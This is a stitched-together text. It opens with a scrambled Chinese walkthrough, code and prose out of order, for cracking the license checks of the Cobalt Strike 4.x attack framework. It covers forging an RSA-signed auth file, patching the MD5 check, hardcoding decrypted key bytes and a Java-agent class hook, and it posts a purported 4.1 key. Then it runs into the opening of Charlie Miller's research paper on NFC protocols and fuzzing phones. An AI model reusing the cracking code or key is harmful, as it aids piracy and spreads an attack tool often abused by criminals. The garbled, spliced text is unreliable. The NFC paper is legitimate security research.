(!"8bb4df00c120881a1945a43e2bb2379e".equals(CommonUtils.toHex(arrayOfByte2))) {            // 无效的授权文件            CommonUtils.print_error("Invalid authorization file");            System.exit(0);         }         X509EncodedKeySpec localX509EncodedKeySpec = new X509EncodedKeySpec(arrayOfByte1);         KeyFactory localKeyFactory = KeyFactory.getInstance("RSA");         // RSA 公钥         this.pubkey = localKeyFactory.generatePublic(localX509EncodedKeySpec);     } catch (Exception var5) {         this.error = "Could not deserialize authpub.key";         MudgeSanity.logException("authpub.key deserialization", var5, false);     }   }   public String error() {      return this.error;   }   /*   * 解密 cobaltstrike.auth 的主函数,如果返回不为 null,则校验通过。   * */   public byte[] decrypt(byte[] paramArrayOfByte) {      // RSA 解密,并返回 byte 数组      byte[] arrayOfByte1 = this._decrypt(paramArrayOfByte);      try {         if (arrayOfByte1.length == 0) {            return arrayOfByte1;         } else {            // 将解密好的数据,交给了 DataParser            DataParser localDataParser = new DataParser(arrayOfByte1);            localDataParser.big();            // byte 数组转有符号 Int -> 取头部 4个字节判断文件头是否正确,这里并不是标准的 gzip头 -> byte[] b = {-54, -2, -64, -45}            // 注:有符号数最高位为1,表示负数;最高位为0,表示正数            int i = localDataParser.readInt(); 结合上述两个代码,如果验证通过,则可以打开客户端页面。这与 3.X 的认证大致相同。 3.4、SleevedResource 类 与 3.X 不同的是,4.X 在 Authorization() 中新增了一个新的验证 SleevedResource.Setup() 。该 验证的大致流程为:            if (i == -889274181) {               this.error = "pre-4.0 authorization file. Run update to get new file";               return new byte[0];           } else if (i != -889274157) {               this.error = "bad header";               return new byte[0];           } else {               // 处理文件头并解压               int j = localDataParser.readShort();               byte[] arrayOfByte2 = localDataParser.readBytes(j);               return arrayOfByte2;           }         }     } catch (Exception localException) {         this.error = localException.getMessage();         return new byte[0];     }   }   /*    * 这个函数需要注意的是,代入的数据是使用 RSA 公钥进行解密的,然后返回解密后的数据。    * 因此在生成 .auth 的时候,应该使用密钥进行加密。    */   protected byte[] _decrypt(byte[] paramArrayOfByte) {      byte[] arrayOfByte = new byte[0];      try {         if (this.pubkey == null) {            return new byte[0];         } else {            synchronized(this.cipher) {               this.cipher.init(2, this.pubkey);               arrayOfByte = this.cipher.doFinal(paramArrayOfByte);           }            return arrayOfByte;         }     } catch (Exception localException) {         this.error = localException.getMessage();         return new byte[0];     }   } } 跟进 SleevedResource.Setup(arrayOfByte3); 看一看: 1、使用 .auth 文件的一部分数据作为一个 key,将该 key 再进行处理拆分; 2、程序调用内置的 dll 文件; 3、读取 dll 文件,对 dll 文件进行处理拆分; 4、使用拆分的 key 分别对拆分的 dll 分别进行 hmac 摘要验证及 AES 解密。 5、最后执行 dll。 public class SleevedResource {   private static SleevedResource singleton;   private SleeveSecurity data = new SleeveSecurity();   public static void Setup(byte[] paramArrayOfByte) {      singleton = new SleevedResource(paramArrayOfByte);   }   public static byte[] readResource(String paramString) {      return singleton._readResource(paramString);   }   private SleevedResource(byte[] paramArrayOfByte) {      // 将 16 个字节的数据传入 SleeveSecurity.registerKey() 中      this.data.registerKey(paramArrayOfByte);   }    /*    * 这是一个读取文件,并对文件进行解密的函数方法    * paramString 是一个文件名(文件相对路径)    * */    private byte[] _readResource(String paramString) {      // strrep 是将 paramString 文件路径中的 resources/ 替换成 sleeve/      String str = CommonUtils.strrep(paramString, "resources/", "sleeve/");      // 替换之后实际上是读取 jar 包中 sleeve 目录下的文件,返回一个 byte[]      byte[] arrayOfByte1 = CommonUtils.readResource(str);      if (arrayOfByte1.length > 0) {         long l = System.currentTimeMillis();         // 将读取的文件 byte[] 代入解密阶段         byte[] arrayOfByte2 = this.data.decrypt(arrayOfByte1);         return arrayOfByte2;     } else {         // 不经过替换,直接读取源文件(sleeve 中不存在的文件,在 resources 中存在)         byte[] arrayOfByte3 = CommonUtils.readResource(paramString);         if (arrayOfByte3.length == 0) {            CommonUtils.print_error("Could not find sleeved resource: " + paramString + " [ERROR]");         } else {            CommonUtils.print_stat("Used internal resource: " + paramString);         }         return arrayOfByte3;     }   } } 发现调用 SleevedResource 类的构造函数并将该 byte 数组传递给了 dns.SleeveSecurity 的 registerKey() 方法,继续跟进该方法: 嗯,到这里没见到往下走的验证了,估摸着第一轮验证就结束了。 此时启动 teamserver ,则会在 temserver 中看到一个错误: public void registerKey(byte[] paramArrayOfByte) {   synchronized(this) {      try {         MessageDigest localMessageDigest = MessageDigest.getInstance("SHA- 256");         // 首先利用我们的 array,获取了一个 digest,大小是 256         byte[] arrayOfByte1 = localMessageDigest.digest(paramArrayOfByte);         byte[] arrayOfByte2 = Arrays.copyOfRange(arrayOfByte1, 0, 16);         byte[] arrayOfByte3 = Arrays.copyOfRange(arrayOfByte1, 16, 32);         // 取了 arrayOfByte1 的 0-16 作为 AES 的加密 key         this.key = new SecretKeySpec(arrayOfByte2, "AES");         // 取了arrayOfByte1 的 16-32 作为 Hmac 的加密 key         this.hash_key = new SecretKeySpec(arrayOfByte3, "HmacSHA256");     } catch (Exception var8) {         var8.printStackTrace();     }   } } [-] [Sleeve] Bad HMAC on xxxxx byte message from resource 注意:此验证是在调用 CS 内置 EXE/DLL 时所需要的,当验证不通过时,则出现该错误。因此当在绕过 了开头的限制,则可以开启客户端,只不过功能受影响;只有该验证顺利通过,才是完全授权验证。 3.4、decrypt() 方法调用链 我们搜索该错误,在 SleeveSecurity.decrypt() 中找到。 我们依次查看调用链: 我们在 SleevedResource 中看到此 decrypt() 方法的调用。而 readResource() 则调用了 _readResource() 。我们再查看关于 readResource() 的调用: 我们就此挑选比较干净的调用例子来分析。 此时回头查看 _readResource() 函数。 我们重点来看这个解密。 protected byte[] export_dll() {    // 判断框架位数,之后传入一个文件    byte[] arrayOfByte = SleevedResource.readResource(this.x64 ? "resources/browserpivot.x64.dll" : "resources/browserpivot.dll");    String str = CommonUtils.bString(arrayOfByte);    Packer packer = new Packer();    packer.little();    packer.addShort(this.port);    int i = str.indexOf("COBALTSTRIKE");    str = CommonUtils.replaceAt(str, CommonUtils.bString(packer.getBytes()), i);    return CommonUtils.toBytes(str); } /* * 这是一个读取文件,并对文件进行解密的函数方法 * paramString 是一个文件名(文件相对路径) * */ private byte[] _readResource(String paramString) {   // strrep 是将 paramString 文件路径中的 resources/ 替换成 sleeve/   String str = CommonUtils.strrep(paramString, "resources/", "sleeve/");   // 替换之后实际上是读取 jar 包中 sleeve 目录下的文件   byte[] arrayOfByte1 = CommonUtils.readResource(str);   if (arrayOfByte1.length > 0) {      long l = System.currentTimeMillis();      // 将读取的文件 byte[] 代入解密阶段      byte[] arrayOfByte2 = this.data.decrypt(arrayOfByte1);      return arrayOfByte2;   } else {      // 不经过替换,直接读取源文件(sleeve 中不存在的文件,在 resources 中存在)      byte[] arrayOfByte3 = CommonUtils.readResource(paramString);      if (arrayOfByte3.length == 0) {         CommonUtils.print_error("Could not find sleeved resource: " + paramString + " [ERROR]");     } else {         CommonUtils.print_stat("Used internal resource: " + paramString);     }      return arrayOfByte3;   } } /* * 该函数是从 license文件中获取的 2 个 key 进行一些列的验证解密; * 最终将加密的 dll 文件进行解密返回。 * paramArrayOfbyte 是源文件读取出来的 byte[] 数据 */ 这个方法要在初始验证阶段是不会进行调用的,为了方便调试,直接在 registerKey() 写个调用即 可,比如: public byte[] decrypt(byte[] paramArrayOfbyte) {   try {      // 取 paramArrayOfbyte 的开头至倒数 -16 的数据,这段数据是 dll 的主体数据      byte[] arrayOfByte1 = Arrays.copyOfRange(paramArrayOfbyte, 0, paramArrayOfbyte.length - 16);      // 取 paramArrayOfbyte 的剩下的 16 位数据。      byte[] arrayOfByte2 = Arrays.copyOfRange(paramArrayOfbyte, paramArrayOfbyte.length - 16, paramArrayOfbyte.length);      byte[] arrayOfByte3 = null;      synchronized(this) {         // 先用我们在 license中生成的 hash_key 作为密钥,对 arrayOfByte1 进行摘要计算         this.mac.init(this.hash_key);         arrayOfByte3 = this.mac.doFinal(arrayOfByte1);     }      // 取 arrayOfByte3 的前 16位数据      byte[] arrayOfByte4 = Arrays.copyOfRange(arrayOfByte3, 0, 16);      // 两两对比,如果相等,则步入 else。该对比,主要防止 dll 被篡改。      if (!MessageDigest.isEqual(arrayOfByte2, arrayOfByte4)) {         CommonUtils.print_error("[Sleeve] Bad HMAC on " + paramArrayOfbyte.length + " byte message from resource");         return new byte[0];     } else {         byte[] arrayOfByte5 = null;         synchronized(this) {            // 在对比成功后,将使用 key 对 dll主体内容数据进行 AES 解密            arrayOfByte5 = this.do_decrypt(this.key, arrayOfByte1);         }         DataInputStream dataInputStream = new DataInputStream(new ByteArrayInputStream(arrayOfByte5));         int i = dataInputStream.readInt();         int j = dataInputStream.readInt();         if (j >= 0 && j <= paramArrayOfbyte.length) {            byte[] var10 = new byte[j];            dataInputStream.readFully(var10, 0, j);            // 最后返回解密后的文件,以便调用            return var10;         } else {            CommonUtils.print_error("[Sleeve] Impossible message length: " + j);            return new byte[0];         }     }   } catch (Exception exception) {      exception.printStackTrace();      return new byte[0];   } } 我们只是捋清整个需要认证的过程,不细讨其他的东西,因此只需要知道 cobaltstrike.auth 文件的 组成和用处即可。 3.5、认证流程图 0x04 破解方法 理论上,穷举 Authorization() 中的 arrayOfByte3 有些不现实;因为逆着推回去,需要推出 hmac 的 key,AES 的 key,是我想多了。 因此,至少需要知道 arrayOfByte3 的值才可能正常运行成功。但在有这个关键 key 的前提下,我们可 以这么做。 4.1、方法一:重新生成 license 也就是说,我们要伪造一个自己的授权文件的话, 只需要生成自己的 RSA 公私钥,然后使用私钥对文本 内容进行加密,将公钥保存成 authpub.key ,并计算 MD5 值,对 AuthCrypto.class 中的 8bb4df00c120881a1945a43e2bb2379e 进行替换即可。这里的做法就是 Cobaltstrike 4破解之 我自己 给我自己颁发license 中的做法。 4.1.1、.auth 文件组成 由对 Authorization() 的分析过程可以得出文本内容应该由这些有效元素构成: 因此我们只需要逆推 DataParser 中的 readInt() 就可以得到想要的内容。 将 .auth 文件读取成 byte[],处理之后得出 26 位的 byte[],将其拆分为: 4位 -> 经过有符号转换 int,结果为29999999 -> 用于判断是否永久有效(是否为发行版) 4位 -> 经过有符号转换 int,结果不为 0 即可 -> 水印 1位 -> 该 byte 值必须是大于 40 且小于 128 -> 判断认证是否适合 4.x 1位 -> 该 byte 值必须是 16 -> key 的长度 16位 -> 该 key 理论上无法逆推 要注意的是:处理 .auth 文件的时候,还需要判断文件头...,因此还需要填充文件头,但按照分析下来, 是 4 个字节,但在实测过程中,发现是 6 个字节 因此 .auth 文件的必要数据是 32 位 -> 6 + 4 + 4 + 1 + 1 + 16 因此在解析 .auth 后返回的 byte[] 应该为: 代入测试: 4.1.2、生成 RSA 公钥、私钥及签名 该步骤,主要是生成 RSA 公私钥,然后使用私钥对上述生成的数据进行加密(注意,当你用私钥加密的 时候,需要用公钥解密)后保存到 cobaltstrike.auth 中。 你可以使用 openssl 生成,使用 2048 位即可,也可以使用代码生成,参考代码如下: byte[] decrypt = { 1, -55, -61, 127, 0, 0, 34, -112, 127, 16, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 }; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import java.io.*; import java.security.*; import java.util.Base64; public class RSAKeyPairGenerator {    private PrivateKey privateKey;    private PublicKey publicKey;    public RSAKeyPairGenerator() throws NoSuchAlgorithmException {        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");        keyGen.initialize(2048);        KeyPair pair = keyGen.generateKeyPair();        this.privateKey = pair.getPrivate();        this.publicKey = pair.getPublic();   }    // 将byte 写入文件    public void byte2File(String path, byte[] data) throws IOException {        File f = new File(path);        f.getParentFile().mkdirs();        FileOutputStream fos = new FileOutputStream(f);        fos.write(data);        fos.flush();        fos.close();   }    public PrivateKey getPrivateKey() {        return privateKey;   }    public PublicKey getPublicKey() {        return publicKey;   }    // 加密数据    public byte[] encryptPri(byte[] data, PrivateKey privateKey) throws BadPaddingException, IllegalBlockSizeException, InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException {        Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");        cipher.init(Cipher.ENCRYPT_MODE, this.privateKey);        return cipher.doFinal(data);   }    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, IllegalBlockSizeException, InvalidKeyException, NoSuchPaddingException, BadPaddingException {        RSAKeyPairGenerator PairGenerator = new RSAKeyPairGenerator();        byte[] data = { -54, -2, -64, -45, 0, 43, 1, -55, -61, 127, 0, 0, 34, -112, 127, 16, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 };        byte[] rsaByte = PairGenerator.encryptPri(data, PairGenerator.getPrivateKey());        PairGenerator.byte2File("RSA/cobaltstrike.auth", rsaByte); 成功生成,剩下的就是替换相关文件,再更改 AuthCrypto.load() 中的 MD5 值。 4.2、方法二:硬编码 key 直接在 Authorization() 中注释掉以下代码行: 然后直接将解析后的 byte[] 进行写入 4.3、方法三:CSHook.jar 以上两种方法都对 Jar 包进行修改,那我们再来看看不对源码进行修改的前提下进行 hook。Hook 的原 理就是热替换,热替换的核心就在于 Instrumentation 的两个方法: 这里主要是使用了 addTransformer() ,其实原理很简单,就是将 4.2 中编译好的 Authorization() 类进行热替换,从而不去修改 jar 包的情况下完成认证。 4.3.1、读取 Authorization.class 首先先读取改写好的 Authorization.class :        PairGenerator.byte2File("RSA/authkey.private", PairGenerator.getPrivateKey().getEncoded());        PairGenerator.byte2File("RSA/authkey.pub", PairGenerator.getPublicKey().getEncoded());   } } byte[] arrayOfByte2 = authCrypto.decrypt(arrayOfByte1); 注释部分可以扩大到读取 cobaltstrike.auth 部分 byte[] arrayOfByte2 = { 1, -55, -61, 127, 0, 0, 34, -112, 127, 16, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 }; // addTransformer()用来注册类的修改器; void addTransformer(ClassFileTransformer transformer, boolean canRetransform); // retransformClasses()会让类重新加载,从而使得注册的类修改器能够重新修改类的字节码。 void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; // 先读取 Authorization.class,byte[] 转 base64 public void toByteArray(String filename) throws IOException{    File f = new File(filename);    if (!f.exists()) {        throw new FileNotFoundException(filename);   }    ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());    BufferedInputStream in = null;    try {        in = new BufferedInputStream(new FileInputStream(f));        int buf_size = 1024; 然后再编写 addTransformer() 的调用类 4.3.2、Transformer 类 4.3.3、premain        byte[] buffer = new byte[buf_size];        int len = 0;        while (-1 != (len = in.read(buffer, 0, buf_size))) {            bos.write(buffer, 0, len);       }        String base64Str = Base64.getEncoder().encodeToString(bos.toByteArray());        System.out.println(base64Str);        //return base64Str;   } catch (IOException e) {        e.printStackTrace();        throw e;   } finally {        try {            in.close();       } catch (IOException e) {            e.printStackTrace();       }        bos.close();   } } public class Transformer implements ClassFileTransformer {    public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {        if (className.equals("common/Authorization")) {            String base64class = "此处为 4.3.1 小节生成的内容";            System.out.println("Found desired class: " + className);            classfileBuffer = Base64.getDecoder().decode(base64class);       }        return classfileBuffer;   } } public class CSHook {    public static void premain(String paramString, Instrumentation paramInstrumentation) {        System.out.println("Hook start");        Transformer transformer = new Transformer();        paramInstrumentation.addTransformer(transformer);   } } 注意:指定 premain 方法的位置,这里选择了修改 META-INF/MANIFEST.MF 的内容,将 Main-Class 修改成 Premain-Class 。编译生成即可。 最后,这里提供 CS 4.1 的 key : 0x05 参考 RSA加密、解密、签名、验签的原理及方法 Java加密解密之MAC(消息认证码) 暴力解决一切?破解AES也是妄想! Patch Cobalt Strike 4.0 CobaltStrike4.0无Hook蛮力Cracked License思路 Cobaltstrike 4破解之 我自己给我自己颁发license byte[] arrayOfByte2 = { 1, -55, -61, 127, 0, 0, 34, -112, 127, 16, -128, -29, 42, 116, 32, 96, -72, -124, 65, -101, -96, -63, 113, -55, -86, 118 };
pdf
Exploring the NFC Attack Surface Charlie Miller Managing Principal Accuvant Labs [email protected] July 13, 2012 Charlie Miller: Exploring the NFC Attack Surface Introduction 4 NFC protocols 5 Physical and RF layer 6 Initialization, Anti-Collision, and Protocol Activation layer 7 Protocol layer 7 Application layer 8 Example data capture 10 Fuzzing the NFC stack 13 Fuzzing setup 15 Fuzzing test cases 16 Results - Nexus S 18 Results - Nokia N9 25 NFC higher level code 26 Nexus S - Android 2.3.3 26 Galaxy Nexus - Android 4.0.1 28 Galaxy Nexus - Android 4.1.1 32 Nokia N9 - MeeGo 1.2 Harmattan PR1.3 33 Possible attacks 37 Android NFC Stack bug 37 Android Browser 38 N9 Bluetooth pairing 38 N9 bugs 39 Summary 41 Acknowledgements 42 Charlie Miller: Exploring the NFC Attack Surface References 43 Charlie Miller: Exploring the NFC Attack Surface Introduction Near Field Communication (NFC) has been used in mobile devices in some countries for a while, and is now emerging on mobile devices in use in the United States. This technology allows NFC-enabled devices to communicate with each other within close range, typically a few centimeters. NFC is being deployed and adopted as a way to make payments, using a mobile device to communicate credit card information to an NFC enabled terminal. It is a new, cool, technology, but as with the introduction of any new technology, the question that must be asked is what kind of impact the inclusion of this new functionality will have on the attack surface of mobile devices. In this paper we explore this question by introducing NFC and its associated protocols. Next, we describe how to fuzz the NFC protocol stack for two devices as well as provide the results of our testing. Then we see for these devices what software is built on top of the NFC stack. It turns out that through NFC, using technologies like Android Beam or NDEF content sharing, one can force some phones to parse images, videos, contacts, office documents, and even open up web pages in the browser, all without user interaction. In some cases, it is even possible to completely take control of the phone via NFC, including stealing photos, contacts, even sending text messages and making phone calls. The next time you present your phone to pay for your cab, be aware you might have just gotten owned. Charlie Miller: Exploring the NFC Attack Surface NFC protocols Understanding the NFC attack surface first requires some understanding of NFC and the underlying protocols on which it is based. Figure 1, below, shows a diagram of most of the associated protocols used for NFC transactions. Figure 1: Relevant specifications for NFC At its most basic level, NFC is a set of communication protocols based on radio- frequency identification (RFID) standards, including ISO 14443. NFC uses the frequency 13.56 MHz and its operating range is said to be between 3-10 centimeters, although in practice it is typically near the lower end of that range. We’ve observed the range of 2-3 centimeters in real world scenarios. NFC operates at low data rates, ranging from 106kbit/s to 424kbits/s. There are two general ways NFC communication takes place: in the first, there is an initiator and a target. The initiator, for example a mobile device, actively generates a radio frequency (RF) field that can power the passive target, such as an NFC tag. The target tag answers by modulating the existing field provided by the initiator. This enables the tag to be constructed very simply, without a need for power or batteries. In Charlie Miller: Exploring the NFC Attack Surface this situation the initiator can read or sometimes write data to and from the tag. There are many types of tags and many protocols that can be used to interact with different types of tags, again, please see Figure 1. The other mode of NFC communication is peer-to-peer (P2P). In order to do P2P, both devices need to be powered and generate their own RF fields. Physical and RF layer At the lowest level, communication takes place according to ISO 14443 A-2. There are different codings to transfer data. At 106 kbits/s, a modified Miller coding with 100% modulation is used. In other cases, Manchester coding is used with a modulation ratio of 10%. Figure 2 shows an FFT plot of captured NFC traffic using GNU Radio. Figure 2: NFC traffic captured at 195k samples/second, decimated by 4, with low pass filter at 10k Charlie Miller: Exploring the NFC Attack Surface The next Figure shows the waveform of some low-level data. Figure 3: A waveform of the value “26” From looking at the signal in Figure 3, above, which was taken between a Nexus S Android device and an NFC tag, one can deduce that the Nexus S transmits data at a rate of 106kbps using 100% ASK with Manchester encoding. With some effort, you can find the signal in Figure 3 corresponds to the byte “0x26” which is a SENS_REQ according to ISO 14443-3. This layer is really too low for our purposes, for more information on this protocol layer, consult [1-3]. Initialization, Anti-Collision, and Protocol Activation layer For some types of NFC communication, there is a phase whereas two NFC enabled devices become aware of each other and initialize their communications. There is very little data exchanged here, and for reasons discussed in the next section, we cannot easily fuzz this part of the protocol, so we skip any further details. For more information, please see [4]. Protocol layer Lower levels are focused on physical aspects and starting communication. The protocol layer is the layer for actually transmitting the data intended to be sent or received with the communication. In general, the data can be anything, but a typical data payload will be described in the next section. There are a variety of protocol layer protocols supported in most NFC devices. We’ll briefly describe each of them. Charlie Miller: Exploring the NFC Attack Surface Type 1 (Topaz) Type 1 tags use a format sometimes called the Topaz protocol, see [5]. It uses a simple memory model which is either static for tags with memory size less than 120 bytes or dynamic for tags with larger memory. Bytes are read/written to the tag using commands such as RALL, READ, WRITE-E, WRITE-NE, RSEG, READ8, WRITE-E8, WRITE-N8. MIFARE Classic MIFARE classic tags are storage devices with simple security mechanisms for access control. They use an NXP proprietary security protocol for authentication and ciphering. This encryption was reverse engineered and broken in 2007 [6]. Type 2 (MIFARE UltraLight) Type 2 tags [7] are similar to Type 1 tags. They have a static memory layout when they have less than 64 bytes available and a dynamic layout otherwise. The first 16 bytes of memory contain metadata like a serial number, access rights, and capability container. The rest is for the actual data. Data is accessed using READ and WRITE commands, see the section “Example data capture” for an example of a Type 2 transaction. Type 3 As far as I can tell, there aren’t any tags that use Type 3 transactions, but if you care, check out [8]. Type 4 (DESFire) Type 4 tags contain a simple file system composed of at least 2 files, the Capability Container (CC) file and the NDEF file. The commands include Select, ReadBinary, and UpdateBinary. At the most basic level, the device must read the CC file, which tells it information about the NDEF file which it can then select and read. The CC file is typically 15 bytes in size. See [9] for more details. LLCP (P2P) The previous protocol layer protocols have all had initiators and targets and the protocols are designed around the initiator being able to read/write to the target. Logical Link Control Protocol (LLCP) is different because it establishes communication between two peer devices. LLCP allow connections to be established and deactivated, data to be transferred at any time when the link is established, do multiplexing, and provide connectionless or connection-oriented transport. Each PDU contains a source and destination address, a type, a sequence field and the LLCP payload. The different types include things like SYMM to keep connections alive when there are no other PDU’s available, CONNECT to establish a connection-oriented connection, and I for the actual high level data payload. There are other types of PDU’s as well, see [10] for details. Application layer While NFC can transport arbitrarily formatted data, typically it transports data in the NFC Data Exchange Format (NDEF). It is a simple binary message format that can be used Charlie Miller: Exploring the NFC Attack Surface to encapsulate one or more application-defined payloads of arbitrary type and size into a single payload. NDEF data contains different type identifiers to describe the type of data to expect, such as URI’s, MIME types, or NFC-specific types. There are specifications for NDEF [11] as well as for each of the well known types, see [12-13] for example. One example NDEF is given in the next section. For clarity, and because the NDEF format is so important for NFC, we provide another couple of examples here. We start with a “smart poster” which is basically a URL. 0000: D1 02 18 53 70 91 01 05 54 02 65 6E 68 69 51 01 Ñ..Sp<91>..T.enhiQ. 0010: 0B 55 01 67 6F 6F 67 6C 65 2E 63 6F 6D .U.google.com d1 - MB, ME, SR, TNF=”NFC Forum well-known type” 02 Type length 18 Payload length 53 70 Type - “Sp” 91 - MB, SR 01 Type length 05 Payload length 54 Type - “T” 02 Status byte - Length of IANA lang code 65 6E language code = “en” 68 69 “hi” text 51 - ME, SR 01 Type length 0b Payload length 55 Type - “U” 01 identifier code “http://www.” 67 6F 6F 67 6C 65 2E 63 6F 6D = “google.com” - text The previous NDEF example had a single byte devoted to the length of the payload. To support payloads longer than 255 bytes, a longer form of NDEF is used. (You can tell which variant to expect by whether the SR bit is set in the first byte of the NDEF record or not). Below is the beginning of a longer NDEF record. 0000: C1 01 00 00 01 2F 54 02 65 6E 61 61 61 61 61 61.... c1 - MB, ME, TNF=”NFC Forum well-known type” 01 Type length 00 00 01 2f Payload length 54 Type - “T” 02 - Status byte - Length of IANA lang code 65 63 - language code = “en” 61 61 61 61 61 61= “aaaaa...” - text Charlie Miller: Exploring the NFC Attack Surface Example data capture Data can be captured in various ways. Perhaps the simplest way (when it works) is to use a Proxmark3 device [14], see Figure 4, below. Figure 4: Proxmark homemade antenna waiting for a Type 2 transaction from a SCL3711 Below, you can see a trace obtained from an SCL 3711 NFC card reader reading from a Mifare Ultralight tag. I added brackets to indicates bytes used for checksum purposes. I also indicate the specification used to interpret the bytes. <Broken out from [15]> SENS_REQ 26 SENS_RES (NFCID1 size: double (7 bytes), Bit frame SDD) TAG 44 00 SDD_REQ CL1 93 20 SDD_RES (CT? 04-e3-ef BCC) TAG 88 04 e3 ef <80> Charlie Miller: Exploring the NFC Attack Surface SEL_REQ CL1 93 70 88 04 e3 ef 80 <99 73> SEL_RES - Not complete, type 2 TAG 04 <da 17> SDD_REQ CL2 95 20 SDD_RES (a2-ef-20-80 BCC) TAG a2 ef 20 80 <ed> SEL_REQ CL2 95 70 a2 ef 20 80 ed <72 c8> SEL_RES - complete, type 2 TAG 00 <fe 51> <Broken out from [7]> READ - 08 30 08 <4a 24> READ Response TAG 74 72 61 6c 69 67 68 74 3f fe 00 00 e4 f2 e3 01 <06 d5> READ - 03 30 03 <99 9a> READ Response TAG e1 10 06 00 03 17 d1 01 13 54 02 65 6e 73 75 70 <b1 62> READ - 04 30 04 <26 ee> READ Response TAG 03 17 d1 01 13 54 02 65 6e 73 75 70 2c 20 75 6c <2a 00> READ - 05 30 05 <af ff> READ - Response TAG 13 54 02 65 6e 73 75 70 2c 20 75 6c 74 72 61 6c <16 f6> READ - 06 30 06 <34 cd> READ - Response TAG 6e 73 75 70 2c 20 75 6c 74 72 61 6c 69 67 68 74 <65 db> READ - 04 30 04 <26 ee> READ - Response TAG 03 17 d1 01 13 54 02 65 6e 73 75 70 2c 20 75 6c <2a 00> READ - 05 30 05 <af ff> READ - Response TAG 13 54 02 65 6e 73 75 70 2c 20 75 6c 74 72 61 6c <16 f6> READ - 06 30 06 <34 cd> READ - Response TAG 6e 73 75 70 2c 20 75 6c 74 72 61 6c 69 67 68 74 <65 db> READ - 07 30 07 <bd dc> READ - Response TAG 2c 20 75 6c 74 72 61 6c 69 67 68 74 3f fe 00 00 <8b 9e> READ - 08 Charlie Miller: Exploring the NFC Attack Surface 30 08 <4a 24> READ - Response TAG 74 72 61 6c 69 67 68 74 3f fe 00 00 e4 f2 e3 01 <06 d5> READ - 09 30 09 <c3 35> READ - Response TAG 69 67 68 74 3f fe 00 00 e4 f2 e3 01 e4 f2 e3 01 <15 ca> READ - 0a 30 0a <58 07> READ - Response TAG 3f fe 00 00 e4 f2 e3 01 e4 f2 e3 01 30 00 00 00 <6a 52> READ - 0b 30 0b <d1 16> READ - Response TAG e4 f2 e3 01 e4 f2 e3 01 30 00 00 00 45 34 20 46 <ef 07> READ - 0c 30 0c <6e 62> READ - Respnose TAG e4 f2 e3 01 30 00 00 00 45 34 20 46 32 20 45 33 <17 e2> READ - 0d 30 0d <e7 73> READ - Response TAG 30 00 00 00 45 34 20 46 32 20 45 33 04 e3 ef 80 <f1 77> READ - 0e 30 0e <7c 41> READ - Response TAG 45 34 20 46 32 20 45 33 04 e3 ef 80 a2 ef 20 80 <01 7e> READ - 0f 30 0f <f5 50> READ - Response TAG 32 20 45 33 04 e3 ef 80 a2 ef 20 80 ed 48 00 00 <1a 18> SLP_REQ 50 00 <57 cd> Pulling out the NDEF data read we find: 03 17 d1 01 13 54 02 65 6e 73 75 70 2c 20 75 6c 74 72 61 6c 69 67 68 74 3f fe 00 00 e4 f2 e3 01 30 00 00 00 45 34 20 46 32 20 45 33 04 e3 ef 80 a2 ef 20 80 ed 48 00 00 Examining this NDEF data we can see the contents: Charlie Miller: Exploring the NFC Attack Surface <Breaking out from [11]> 03 NDEF Message 17 length Record 1 d1 - MB, ME, SR, TNF=”NFC Forum well-known type” 01 Type length 13 Payload length <From [12]> 54 Type - “T” <From [13]> 02 - Status byte - Length of IANA lang code 65 6e - language code = “en” 73 75 70 2c 20 75 6c 74 72 61 6c 69 67 68 74 3f = “sup, ultralight?” - text Record 2 fe Terminator NDEF Fuzzing the NFC stack When considering the attack surface that the introduction of NFC to a device adds, the most obvious place to start is the NFC software stack itself, the code responsible for parsing the NFC protocols mentioned in the last section. Typically, this code will consist of a driver for the NFC chip, a library used to communicate with the driver, and then the OS code to deal with incoming NFC payloads including dealing with different types of NDEF messages that might arrive. In Android, we see something like Figure 5, below. Figure 5: NFC handling code in Android. Charlie Miller: Exploring the NFC Attack Surface In MeeGo it is similar, as in Figure 6, below. Figure 6: NFC handling code in MeeGo In such a complex stack, there certainly could be bugs lurking in any of this code that could allow remote compromise of NFC enabled devices. Please note that in Android, some of the components are Java apps and so memory corruption is not a possibility, but this will vary from platform to platform. There will always be some native code involved at the lowest levels, though. There are various approaches to trying to find vulnerabilities in the NFC stack. A driver that is proprietary could still be reverse engineered and analyzed. The library for the chip on Android, libnfc.so, is open source, and so could be audited. However, one very effective way to get started is to set up a fuzzing environment and fuzz the NFC protocol stack. Depending on exactly how this is to be carried out, different levels of the protocol stack can be attacked. We considered various approaches such as doing it at the RF level (see [2-3]) or library injection (as was done for SMS in [16]). After many trials and errors, we settled on using card emulation with a collection of off-the-shelf NFC hardware. Charlie Miller: Exploring the NFC Attack Surface For the tag types which had working card emulation functionality, we could fuzz the protocol level and application level. We could potentially fuzz the Initialization, Anti- Collision, and Protocol Activation layer but there isn’t much data there so it was determined not to be a good use of time. We could not fuzz the RF layer without a fully working software defined radio (SDR) NFC stack. Figure 7, below, shows which protocols could be tested with this approach. Figure 7: Fuzzing using this setup can fuzz any of the areas indicated above Fuzzing setup If you want to simulate various NFC tags, you need to do what is called card emulation. This is where an NFC device acts like a passive tag. We were able to find a couple of pieces of hardware that could perform card emulation in some circumstances. Namely, an SCL 3711 Contactless Mobile Reader could be used with libnfc to do card emulation of a Type 2 Mifare UltraLight tag. An ACS ACR122U can do card emulation using libnfc of a Type 4 Mifare DESFire. Additionally, an SCL3711 can do LLCP transactions using nfcpy. Unfortunately, there is no support for other types of tags using libnfc or nfcpy. It would be interesting to add other tag types into libnfc for testing. Charlie Miller: Exploring the NFC Attack Surface Sometimes the hardware devices would hang and need to be restarted. This cannot be accomplished in software and has to be done in hardware. In order to simulate unplugging and replugging the USB card reader into the computer, we use a USB hub that implements port power control. In particular, we used a DLink DUB-H7 7-Port USB Hub. 